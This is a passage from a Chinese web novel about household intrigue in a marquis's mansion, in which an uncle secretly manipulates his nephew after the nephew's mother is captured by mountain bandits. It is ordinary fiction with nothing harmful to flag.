之后结果如何,都与她无关。 …… 永昌侯府。 谢晚棠回来的时候,已经是后半夜了,天岚飞身进府,开了西边的角门,这才赶了马车进来,回了桐花台。 彼时,留在府上的知棋,早已经等急了。 瞧见谢晚棠,她眼泪差点掉下来。 “小姐,你可回来了。” “怎么了?” 看着知棋的模样,谢晚棠眉眼间尽是疑惑。 知棋也不瞒着,“小姐,大公子回来了,她知道侯夫人去青芒山的事了,他发了好大的火。奴婢担心他会来桐花台,会发现小姐不在,再节外生枝,找小姐的麻烦。” “他回来了?” 按照谢晚棠的算计,谢怀鸣最早应该也得明日晌午前后,才能够回来。 没成想这么快。 看来,为了营救谢詹杭,谢怀鸣倒是没少用心。 到了南淮,见到裘青成,他就会发现自己被骗了,而回府之后,知道谢夫人一意孤行,去了青芒山,还带上了府兵和死士,他更能明白自己中了计。他自以为的南下营救,日夜奔袭,不眠不休,是孝敬是拼命,可实际上,那只能证明他的愚蠢。 他发火,再正常不过了。 谢晚棠丝毫不意外,她看着知棋,轻声询问。 “他人呢?” “半个时辰前回来的,现在人还在花厅,二爷也在那头,应该是在商量什么事,管家带了两个小厮守着,没法靠近。奴婢也就远远的瞧了个大概,具体的,奴婢就不知道了。” “嗯。” 知棋贸然上前,指不定被激怒的谢怀鸣,会借题发挥,她得无端受牵累。 这点消息,不打探也罢。 谢晚棠解了披风,款步往里去。 “他们那边的事,咱们都不用管,天岚,你盯着点二房那头,若是他们没接到消息,你记得安排人,把消息往过传一传就行。这才初一,年还不算过完呢,咱们不理会外面,只管关起门来,好好过年就是了。” “是。” 天岚沉声回应。 她看着谢晚棠,目光灼灼。 谢晚棠是个下棋的好手,她能快攻,也能慢攻,能大开大合,也能于细微处反复琢磨。 局势都在谢晚棠的掌控中,没什么好担心的。 她这头,只管听吩咐办事就成。 …… 花厅。 谢怀鸣眉头皱成一团,他脸上全是冷意。 “二叔,我娘那性子,你是知道的,她这么带人去青芒山,不但救不了人,还会无端惹出一堆的麻烦,你怎么不拦着点?” 埋怨,直白至极。 谢詹林端着茶盏,抬眸看向他。 “大嫂带人离府的时候,我还在外面,根本不知道这些事,谈何拦?更何况,就算我在府上,又能如何?于公她是侯府主母,于私她是我大嫂,我又怎么拦得住?” “那也不能由着她这般吧?府卫也就罢了,府兵和死士,那可都是见不得光的。” 谢詹杭已经身陷囹圄,情况糟糕了。 又闹了这么一出—— 这是要把谢詹杭,把永昌侯府,都推向绝路吗? “那能怎么办?” 谢怀鸣正想着,就听谢詹林沉声叹息,谢怀鸣看过去,就见谢詹林冲他摇头。 “事情已经出了,事到如今,说什么都晚了,眼下要紧的是,要看青芒山那头如何了?” 谢怀鸣心头发紧。 土匪在青芒山落草为寇,也不是一日两日了。 这些年来,那些土匪闹腾,朝廷围剿过几次,但都收效甚微,就凭一个谢夫人,能打下青芒山就怪了。 那还要朝廷的那些人何用? 谢怀鸣怎么想,都觉得事情不妙。 这时,他就听谢詹林又道,“今儿一早,接到消息后,我就派人往青芒山去了,但凡那头有消息,都会第一时间传回来。但愿大嫂能得偿所愿,能救下婉宁,平安回来。” “二叔派人去青芒山了?” “嗯。” 谢詹林点点头。 “派人去了,但也就只能打探消息,府上得用的人,都被大嫂带走了,我巧妇难为无米之炊,想再做其他安排,也是有心无力。” 听着谢詹林这话,谢怀鸣原本就烦躁的心,更烦躁的要命。 谢夫人把能用的人都带走了。 如谢詹林所言,眼下,他们根本无人可用。 要是谢夫人能带人顺利救下谢婉宁,从青芒山回来,那还好说,可若是出点岔子,有个一差二错…… 他想要救人,都不知道该从何下手。 没人可用! 他总不能自己独闯青芒山吧? 那是自寻死路! 谢怀鸣正寻思着,就听到外面,传来一阵急促的脚步声,有人到了花厅外,似是被管家拦下了,他在跟管家说什么。谢怀鸣疑惑,他抬眸看向门口,就见管家带着人匆匆的进来了。 是二房那头,常年跟在谢詹林身边的小厮谢平。 谢怀鸣的拳头下意识的攥紧。 回来了! 可谢平带回来的,会是好消息吗? 一双眸子,死死的盯着谢平,谢怀鸣想问,可半晌他都没敢出声。 还是谢詹林,看着谢平询问,“青芒山那头的情况怎么样?大嫂情况如何?他们救下婉宁了吗?快说。” 谢平的脸色本就不好看,听谢詹林询问,他脸色更黑了些。 迟疑的看了谢怀鸣一眼,谢平这才道。 “回二爷,回大公子,侯夫人到了青芒山之后,白日按兵不动,没有动手,一直到入了夜,才对青芒山发起了进攻。起初,咱们侯府的人占据上风,情况倒是不错,可后来不知怎的,就被青芒山的人围住了。” “什么……” 谢怀鸣大吼,他腾的一下就站了起来。 一双眸子腥红如血。 他最怕的事,还是发生了吗? 将谢怀鸣的样子看在眼里,谢詹林的唇角,不自觉的微微上扬,只是,很快那抹笑意,他就收敛起来了。 看向谢平,他换上一副担忧之态。 “还愣着干什么,你快说啊,咱们的人怎么样?大嫂怎么样?” “咱……咱们的人,没……没了,全没了,侯夫人被……被抓上了青芒山,眼下什么样,奴才也不太清楚。不……不过……” 谢平吞吞吐吐的。 说到关键处,他又顿住了。 谢怀鸣冲上去,一把抓住谢平的衣领,他横眉怒目,厉声询问。 “不过什么?你倒是说啊,说啊。” “大……大公子,奴才不确定侯夫人被抓上青芒山,情况如何,但是,在……在山下的时候,奴才瞧见,青芒山的山匪抓着侯夫人,搂着她,还亲了她。那山匪极尽放浪之词,淫笑不断,奴才担心……担心侯夫人上了山后,会……会……” 一连尝试了两次,剩下的话,谢平都没敢说出口。 但他的意思谢怀鸣明白。 在山下,谢夫人已然被人轻薄了,上了山,进了土匪窝,面对着那么一群人,哪怕她不是妙龄少女,清白怕是也难保。 谢怀鸣心疯狂下沉,他头疼的厉害,眼前也止不住的一阵阵发黑。 “怎么会这样?” “怀鸣。” 谢詹林上前,扶了谢怀鸣一把。 之后,他不着痕迹的火上浇油,推谢怀鸣入深渊…… 第120章 诱君行 “怀鸣,你冷静点,咱们消息得到的及时,事情还没到不可挽回的地步。关心则乱,可眼下咱们最是不能乱的,大嫂一定还在等着咱们呢,咱们得想想办法,去救救她。” 谢詹林的话,说的情真意切。 可是,张口闭口就是救,谢怀鸣也想救,可他怎么救? 谢怀鸣双眸血红。 “二叔,我……” “我知道。” 知道谢怀鸣要说什么,谢詹林还不等他说完,就轻声给了他回应。无奈的叹了一口气,稍稍思量,谢詹林便道。 “想要救人,没有人手是绝对不行的,哪怕是谈判,也得有足够的筹码和底气,也得有人撑腰兜底才成。这样,等天亮之后,我们就出去找找与咱们侯府交好的人家,去借些人手。我们再去京兆府,让他们也派些人。” “不行。” 几乎是在谢詹林话音落下的瞬间,谢怀鸣就出声回绝了。 四目相对,他眸色冷沉。 “不能报官,也不能去各府借人,这件事,得瞒死了,决不能让京中的人知道。否则,我娘的名声保不住,咱们这侯府的名声,也就全都完了。” 这道理,谢詹林自然是明白的。 谢怀鸣主动提,倒是省的他再引导,省的他再说了。 谢詹林故作为难。 “那怎么办?眼下,咱们府上就只剩下了些丫鬟小厮,再无人可用,若是不出去借人,想要救大嫂,那是痴人说梦。” “再想想,”谢怀鸣声音颤抖,“一定还有其他法子,一定还有。” “太难了。” 谢詹林满脸愁容。 “咱们府上的人手有限,又不像军营,人手充足,想调多少人都行。再加上也不是人人都训练有素,这府里留下的,不说各个手无缚鸡之力,但能动手打仗的,怕是一只手都数得过来。想把这事瞒死,只用咱们府上的人,就把事情解决了……真的难如登天。” 谢詹林感慨,烦躁无奈几个字,几乎写在了脸上。 可谢怀鸣听着他的话,眼睛却亮了亮。 人—— 似乎也不是没有。 心思瞬时活络了起来,谢怀鸣紧紧的抿着唇,大约半盏茶的工夫后,他起身快步往外去。 谢詹林见状,忙往前追了两步,伸手抓住他的胳膊。 “怀鸣,你这是要去哪?” “二叔你别管了,我自有办法。” “怀鸣。” 谢詹林语气都更重了些,端出长辈的威仪来,他厉声继续。 “你要知道,眼下的局势于侯府已经很不利了,你若是再轻举妄动,那是会出大乱子的。你是侯府的大公子,是将来要继承侯爵的人,是这侯府的主心骨,你是绝对不能再出事的。我知道你心急,可你不能乱来。” “我知道。” “那……” “二叔你就别管了,我有分寸,这事我能办妥,二叔只管盯住了,别让这侯府的消息外传就好。” 话音落下,谢怀鸣挣脱开谢詹林拉着他的手,快步离开。 谢詹林没再追。 看着他的背影,谢詹林眼底全是笑意。 谢詹杭是个睿智机敏的人,运筹帷幄,颇有谋算,可是他的儿女,却全随了谢夫人,谢婉宁刁蛮跋扈,谢怀鸣有勇无谋,比之谢詹杭,可都差远了。 这样最好。 谢詹林侧头,看了身边的谢平一眼。 “随我来书房。” “是。” 谢平应声,之后便随着谢詹林一起,去了二房那头。 他们主仆俩在书房待了约么一个时辰,之后,谢平才从书房离开,他直接出了府。 谢詹林则回了房里。 洛氏睡的迷迷糊糊的,听到响动,才睁开眼睛。 瞧见坐在床畔的谢詹林,她眉头蹙了蹙。 “怎么这么晚?” 谢詹林掀了被子躺下,他伸手,将洛氏揽在怀里,手轻轻的抚上洛氏的头,他笑盈盈的念叨。 “大房那头,要有大乱子了。” 洛氏的眼睛瞬间亮了亮,“你又做安排了?” “嗯。” 谢詹林没有多解释。 洛氏也没多问,她只是小声念叨,“那一家子,除了大哥,全是蠢的,动一动倒也无妨。只是,那谢晚棠到底有些邪性,这次引大嫂去青芒山,我十有八九就是着了她的道。依我看,夜长梦多,还是该早些下手才对。” “再等等。” 谢詹林懂洛氏的担心,毕竟,当年清虚散人的话,还犹在耳畔。 他一个字都没有忘。 当年,他们能动手,以“灾星”两个字,困住谢晚棠十六年,而今,他们自然也可以除掉他。 但若是能兵不血刃,能借刀杀人,那最好不过。 再等等。 机会,大抵不会太远。 …… 桐花台。 接连两日都没有睡好,这一夜,谢晚棠把事情办妥了,她回了桐花台,倒是睡的安心。 隔日,她一觉睡到了日上三竿,醒来后,她也在床上赖了约么一刻钟才起。 听到响动,天岚、天月进来伺候。 知棋也端了水进来。 谢晚棠梳洗,天岚就在一边回禀。 “小姐,昨夜谢詹林、谢怀鸣在花厅里聊了很久,之后,谢詹林身边的谢平回来了,不知道说了什么,之后谢怀鸣就离开了,到现在都没有回来。” 谢晚棠闻言愣了愣,不过也就一瞬,她就笑出了声。 “果然不是省油的灯。” “什么?” “青芒山的消息,不用往二房那头送了,他们已经知道了。” 谢平应该就是从青芒山回来的。 而谢怀鸣连夜匆匆离府,只怕是知道了谢夫人在青芒山出事,出去想办法救人去了。 谢詹林在,大抵会给他出主意吧? 应该是馊主意吧? 这侯府里,人心是最脏的。 既然已经有人做局了,那她就不必再费心了。 这么想着,谢晚棠眼底的笑意更浓了些,她坐在铜镜前,一笔笔的描画着眉,动作轻缓。 “侯府的事不用管了,一会儿我带你们去闻风楼,咱们围炉煮茶,知棋,你去准备两样甜点来,再寻几个有意思的话本子过来,咱们边吃边喝边聊,把除夕守岁该做的,都补一补,也一起乐一乐。” “是。” 知棋笑着回应,忙下去准备。 谢晚棠用了午膳,之后就带着天岚、天月、知棋去了闻风楼。 她到时,刚好碰上洛氏和谢婉瑜到这边,谢婉瑜身后的小丫鬟,怀里抱着古琴,她们母女俩,大约是来练琴的。 也是。 谢婉瑜的性子不算好,脑子也算不上机灵,她模样一般,气度一般,再加上她非长房所出,从前一直被谢婉宁压了一头,在京中名声不显,她想要嫁入高门,总得有些拿得出手的东西才成。 练琴,倒也算个方向。 “晦气。” 谢晚棠正想着,谢婉瑜已然开了口。 嫌恶如旧。 闻声,谢晚棠冲着谢婉瑜笑了笑,“婉瑜妹妹,什么晦气?是最近还总晦气缠身吗?是身体有恙,还是婚事不顺?是坐着挨摔、走路崴脚,还是醒着心慌、睡有噩梦?婉瑜妹妹受了苦,可一定要说,不然……大家伙儿怎么寻个乐?” “你闭嘴,死灾星,你……” “婉瑜!” 洛氏喊了一声,她拉住暴怒的谢婉瑜,将她拽到了身后。 谢婉瑜这性子,暴躁的厉害,她不是谢晚棠的对手,针锋相对起了争端,只会于她不利。 没有必要。 看向谢晚棠,洛氏眉眼弯弯。 “晚棠,婉瑜年纪小不懂事,口无遮拦,你别跟她一般见识。” “娘,你怎么还说我?什么我就不懂事了?什么就不跟我一般见识了?我怎么了?她就是灾星,就是晦气,遇上她就没好事,我哪说错了?” “谢婉瑜。” “娘你偏心她?谁才是你女儿?” 谢婉瑜气的跳脚,她剜了谢晚棠一眼,扭头就跑。 洛氏无奈的摇头。 半晌,她才看向谢晚棠,“婉瑜这性子,是被我惯坏了,不像你,沉稳娴静,运筹帷幄,这一手的本事,我也比不上,我瞧着都羡慕。想来,大哥大嫂知道你这般有本事,一定会很欣慰的。” 洛氏话里有话。 威胁、试探,尽在其中! 谢晚棠知道洛氏说的,是诱谢夫人去青芒山的事,她笑着耸耸肩。 她刚想要开口,就听到不远处,传来了一阵脚步声。 谢晚棠和洛氏循声望去,就见管家带着个小厮,在不远处匆匆路过。 管家的询问声,也随之传来。 “侯爷回来了?是去了小库房?那咱们直接过去。” 管家行色匆匆。 他丝毫没注意到谢晚棠和洛氏,自然也不知道,在听到他话的瞬间,谢晚棠眉眼微亮,而洛氏则眉头轻皱。 谢詹杭回府了! 有人喜! 有人忧!